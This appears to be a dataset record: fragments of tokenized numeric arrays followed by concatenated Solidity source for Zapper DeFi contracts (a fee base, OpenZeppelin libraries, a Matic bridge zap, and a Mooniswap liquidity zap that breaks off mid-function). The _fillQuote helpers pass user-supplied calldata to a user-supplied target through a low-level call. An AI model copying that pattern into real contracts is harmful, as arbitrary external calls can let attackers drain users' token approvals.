0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
284,
1074,
774,
5401,
10620,
12,
11890,
10525,
389,
8949,
13,
3903,
1338,
5541,
288,
203,
3639,
22926,
8412,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
389,
8949,
1769,
203,
3639,
22926,
8412,
18,
13866,
1876,
1477,
12,
2867,
12,
27237,
21329,
3575,
3631,
389,
8949,
16,
24126,
18,
3015,
12,
87,
67,
25218,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.7;
import "../oz/ownership/Ownable.sol";
import "../oz/token/ERC20/SafeERC20.sol";
contract ZapBaseV1 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
bool public stopped = false;
// if true, goodwill is not deducted
mapping(address => bool) public feeWhitelist;
uint256 public goodwill;
// % share of goodwill (0-100 %)
uint256 affiliateSplit;
// restrict affiliates
mapping(address => bool) public affiliates;
// affiliate => token => amount
mapping(address => mapping(address => uint256)) public affiliateBalance;
// token => amount
mapping(address => uint256) public totalAffiliateBalance;
address internal constant ETHAddress =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
constructor(uint256 _goodwill, uint256 _affiliateSplit) public {
goodwill = _goodwill;
affiliateSplit = _affiliateSplit;
}
// circuit breaker modifiers
modifier stopInEmergency {
if (stopped) {
revert("Temporarily Paused");
} else {
_;
}
}
function _getBalance(address token)
internal
view
returns (uint256 balance)
{
if (token == address(0)) {
balance = address(this).balance;
} else {
balance = IERC20(token).balanceOf(address(this));
}
}
function _approveToken(address token, address spender) internal {
IERC20 _token = IERC20(token);
if (_token.allowance(address(this), spender) > 0) return;
else {
_token.safeApprove(spender, uint256(-1));
}
}
function _approveToken(
address token,
address spender,
uint256 amount
) internal {
IERC20 _token = IERC20(token);
_token.safeApprove(spender, 0);
_token.safeApprove(spender, amount);
}
// - to Pause the contract
function toggleContractActive() public onlyOwner {
stopped = !stopped;
}
function set_feeWhitelist(address zapAddress, bool status)
external
onlyOwner
{
feeWhitelist[zapAddress] = status;
}
function set_new_goodwill(uint256 _new_goodwill) public onlyOwner {
require(
_new_goodwill >= 0 && _new_goodwill <= 100,
"GoodWill Value not allowed"
);
goodwill = _new_goodwill;
}
function set_new_affiliateSplit(uint256 _new_affiliateSplit)
external
onlyOwner
{
require(
_new_affiliateSplit <= 100,
"Affiliate Split Value not allowed"
);
affiliateSplit = _new_affiliateSplit;
}
function set_affiliate(address _affiliate, bool _status)
external
onlyOwner
{
affiliates[_affiliate] = _status;
}
///@notice Withdraw goodwill share, retaining affilliate share
function withdrawTokens(address[] calldata tokens) external onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
uint256 qty;
if (tokens[i] == ETHAddress) {
qty = address(this).balance.sub(
totalAffiliateBalance[tokens[i]]
);
Address.sendValue(Address.toPayable(owner()), qty);
} else {
qty = IERC20(tokens[i]).balanceOf(address(this)).sub(
totalAffiliateBalance[tokens[i]]
);
IERC20(tokens[i]).safeTransfer(owner(), qty);
}
}
}
///@notice Withdraw affilliate share, retaining goodwill share
function affilliateWithdraw(address[] calldata tokens) external {
uint256 tokenBal;
for (uint256 i = 0; i < tokens.length; i++) {
tokenBal = affiliateBalance[msg.sender][tokens[i]];
affiliateBalance[msg.sender][tokens[i]] = 0;
totalAffiliateBalance[tokens[i]] = totalAffiliateBalance[tokens[i]]
.sub(tokenBal);
if (tokens[i] == ETHAddress) {
Address.sendValue(msg.sender, tokenBal);
} else {
IERC20(tokens[i]).safeTransfer(msg.sender, tokenBal);
}
}
}
function() external payable {
require(msg.sender != tx.origin, "Do not send ETH directly");
}
}
pragma solidity ^0.5.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).add(value);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract swaps and bridges ETH/Tokens to Matic/Polygon
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
import "../_base/ZapBaseV1.sol";
// PoS Bridge
interface IRootChainManager {
function depositEtherFor(address user) external payable;
function depositFor(
address user,
address rootToken,
bytes calldata depositData
) external;
function tokenToType(address) external returns (bytes32);
function typeToPredicate(bytes32) external returns (address);
}
// Plasma Bridge
interface IDepositManager {
function depositERC20ForUser(
address _token,
address _user,
uint256 _amount
) external;
}
contract Zapper_Matic_Bridge_V1_2 is ZapBaseV1 {
IRootChainManager public rootChainManager;
IDepositManager public depositManager;
address private constant maticAddress =
0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0;
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{
rootChainManager = IRootChainManager(
0xA0c68C638235ee32657e8f720a23ceC1bFc77C77
);
depositManager = IDepositManager(
0x401F6c983eA34274ec46f84D70b31C151321188b
);
IERC20(maticAddress).approve(address(depositManager), uint256(-1));
}
/**
@notice Bridge from Ethereum to Matic
@notice Use index 0 for primary swap and index 1 for matic swap
@param fromToken Address of the token to swap from
@param toToken Address of the token to bridge
@param swapAmounts Quantites of fromToken to swap to toToken and matic
@param minTokensRec Minimum acceptable quantity of swapped tokens and/or matic
@param swapTargets Execution targets for swaps
@param swapData DEX swap data
@param affiliate Affiliate address
*/
function ZapBridge(
address fromToken,
address toToken,
uint256[2] calldata swapAmounts,
uint256[2] calldata minTokensRec,
address[2] calldata swapTargets,
bytes[2] calldata swapData,
address affiliate
) external payable {
uint256[2] memory toInvest =
_pullTokens(fromToken, swapAmounts, affiliate);
if (swapAmounts[0] > 0) {
// Token swap
uint256 toTokenAmt =
_fillQuote(
fromToken,
toInvest[0],
toToken,
swapTargets[0],
swapData[0]
);
require(toTokenAmt >= minTokensRec[0], "ERR: High Slippage 1");
_bridgeToken(toToken, toTokenAmt);
}
// Matic swap
if (swapAmounts[1] > 0) {
uint256 maticAmount =
_fillQuote(
fromToken,
toInvest[1],
maticAddress,
swapTargets[1],
swapData[1]
);
require(maticAmount >= minTokensRec[1], "ERR: High Slippage 2");
_bridgeMatic(maticAmount);
}
}
function _bridgeToken(address toToken, uint256 toTokenAmt) internal {
if (toToken == address(0)) {
rootChainManager.depositEtherFor.value(toTokenAmt)(msg.sender);
} else {
bytes32 tokenType = rootChainManager.tokenToType(toToken);
address predicate = rootChainManager.typeToPredicate(tokenType);
_approveToken(toToken, predicate);
rootChainManager.depositFor(
msg.sender,
toToken,
abi.encode(toTokenAmt)
);
}
}
function _bridgeMatic(uint256 maticAmount) internal {
depositManager.depositERC20ForUser(
maticAddress,
msg.sender,
maticAmount
);
}
// 0x Swap
function _fillQuote(
address fromToken,
uint256 amount,
address toToken,
address swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (fromToken == toToken) {
return amount;
}
if (fromToken == address(0)) {
valueToSend = amount;
} else {
_approveToken(fromToken, swapTarget);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function _pullTokens(
address fromToken,
uint256[2] memory swapAmounts,
address affiliate
) internal returns (uint256[2] memory toInvest) {
if (fromToken == address(0)) {
require(msg.value > 0, "No eth sent");
require(
swapAmounts[0].add(swapAmounts[1]) == msg.value,
"msg.value != fromTokenAmounts"
);
} else {
require(msg.value == 0, "Eth sent with token");
// transfer token
IERC20(fromToken).safeTransferFrom(
msg.sender,
address(this),
swapAmounts[0].add(swapAmounts[1])
);
}
if (swapAmounts[0] > 0) {
toInvest[0] = swapAmounts[0].sub(
_subtractGoodwill(fromToken, swapAmounts[0], affiliate)
);
}
if (swapAmounts[1] > 0) {
toInvest[1] = swapAmounts[1].sub(
_subtractGoodwill(fromToken, swapAmounts[1], affiliate)
);
}
}
function _subtractGoodwill(
address token,
uint256 amount,
address affiliate
) internal returns (uint256 totalGoodwillPortion) {
bool whitelisted = feeWhitelist[msg.sender];
if (!whitelisted && goodwill > 0) {
totalGoodwillPortion = SafeMath.div(
SafeMath.mul(amount, goodwill),
10000
);
if (affiliates[affiliate]) {
if (token == address(0)) {
token = ETHAddress;
}
uint256 affiliatePortion =
totalGoodwillPortion.mul(affiliateSplit).div(100);
affiliateBalance[affiliate][token] = affiliateBalance[
affiliate
][token]
.add(affiliatePortion);
totalAffiliateBalance[token] = totalAffiliateBalance[token].add(
affiliatePortion
);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract adds liquidity to 1inch mooniswap pools using any token
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
import "../_base/ZapBaseV1.sol";
interface IMooniswap {
function getTokens() external view returns (address[] memory tokens);
function tokens(uint256 i) external view returns (IERC20);
function deposit(
uint256[2] calldata maxAmounts,
uint256[2] calldata minAmounts
)
external
payable
returns (uint256 fairSupply, uint256[2] memory receivedAmounts);
function depositFor(
uint256[2] calldata maxAmounts,
uint256[2] calldata minAmounts,
address target
)
external
payable
returns (uint256 fairSupply, uint256[2] memory receivedAmounts);
}
contract Mooniswap_ZapIn_V1 is ZapBaseV1 {
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
event zapIn(address sender, address pool, uint256 tokensRec);
/**
@notice Adds liquidity to 1inch pools with an any token
@param fromToken The ERC20 token used for investment (address(0x00) if ether)
@param toPool The 1inch pool to add liquidity to
@param minPoolTokens Minimum acceptable quantity of LP tokens to receive
@param fromTokenAmounts Quantities of fromToken to invest into each poolToken
@param swapTargets Excecution targets for both swaps
@param swapData DEX swap data
@param affiliate Affiliate address
@return Quantitiy of LP received
*/
function ZapIn(
address fromToken,
address toPool,
uint256 minPoolTokens,
uint256[] calldata fromTokenAmounts,
address[] calldata swapTargets,
bytes[] calldata swapData,
address affiliate
) external payable stopInEmergency returns (uint256 lpReceived) {
// get incoming tokens
uint256[2] memory toInvest =
_pullTokens(fromToken, fromTokenAmounts, affiliate);
uint256[] memory amounts = new uint256[](2);
// get underlying tokens
address[] memory tokens = IMooniswap(toPool).getTokens();
// No swap if fromToken is underlying
if (fromToken == tokens[0]) {
amounts[0] = toInvest[0];
} else {
// swap 50% fromToken to token 0
amounts[0] = _fillQuote(
fromToken,
tokens[0],
toInvest[0],
swapTargets[0],
swapData[0]
);
}
// No swap if fromToken is underlying
if (fromToken == tokens[1]) {
amounts[1] = toInvest[1];
} else {
// swap 50% fromToken to token 1
amounts[1] = _fillQuote(
fromToken,
tokens[1],
toInvest[1],
swapTargets[1],
swapData[1]
);
}
lpReceived = _inchDeposit(tokens, amounts, toPool);
require(lpReceived >= minPoolTokens, "ERR: High Slippage");
}
function _inchDeposit(
address[] memory tokens,
uint256[] memory amounts,
address toPool
) internal returns (uint256 lpReceived) {
// minToken amounts = 90% of token amounts
uint256[2] memory minAmounts =
[amounts[0].mul(90).div(100), amounts[1].mul(90).div(100)];
uint256[2] memory receivedAmounts;
// tokens[1] is never ETH, approving for both cases
IERC20(tokens[1]).safeApprove(toPool, 0);
IERC20(tokens[1]).safeApprove(toPool, amounts[1]);
if (tokens[0] == address(0)) {
(lpReceived, receivedAmounts) = IMooniswap(toPool).depositFor.value(
amounts[0]
)([amounts[0], amounts[1]], minAmounts, msg.sender);
} else {
IERC20(tokens[0]).safeApprove(toPool, 0);
IERC20(tokens[0]).safeApprove(toPool, amounts[0]);
(lpReceived, receivedAmounts) = IMooniswap(toPool).depositFor(
[amounts[0], amounts[1]],
minAmounts,
msg.sender
);
}
emit zapIn(msg.sender, toPool, lpReceived);
// transfer any residue
for (uint8 i = 0; i < 2; i++) {
if (amounts[i] > receivedAmounts[i] + 1) {
_transferTokens(tokens[i], amounts[i].sub(receivedAmounts[i]));
}
}
}
function _fillQuote(
address fromTokenAddress,
address toToken,
uint256 amount,
address swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (fromTokenAddress == address(0)) {
valueToSend = amount;
} else {
IERC20 fromToken = IERC20(fromTokenAddress);
fromToken.safeApprove(address(swapTarget), 0);
fromToken.safeApprove(address(swapTarget), amount);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function _transferTokens(address token, uint256 amt) internal {
if (token == address(0)) {
Address.sendValue(msg.sender, amt);
} else {
IERC20(token).safeTransfer(msg.sender, amt);
}
}
function _pullTokens(
address fromToken,
uint256[] memory fromTokenAmounts,
address affiliate
) internal returns (uint256[2] memory toInvest) {
if (fromToken == address(0)) {
require(msg.value > 0, "No eth sent");
require(
fromTokenAmounts[0].add(fromTokenAmounts[1]) == msg.value,
"msg.value != fromTokenAmounts"
);
} else {
require(msg.value == 0, "Eth sent with token");
// transfer token
IERC20(fromToken).safeTransferFrom(
msg.sender,
address(this),
fromTokenAmounts[0].add(fromTokenAmounts[1])
);
}
toInvest[0] = fromTokenAmounts[0].sub(
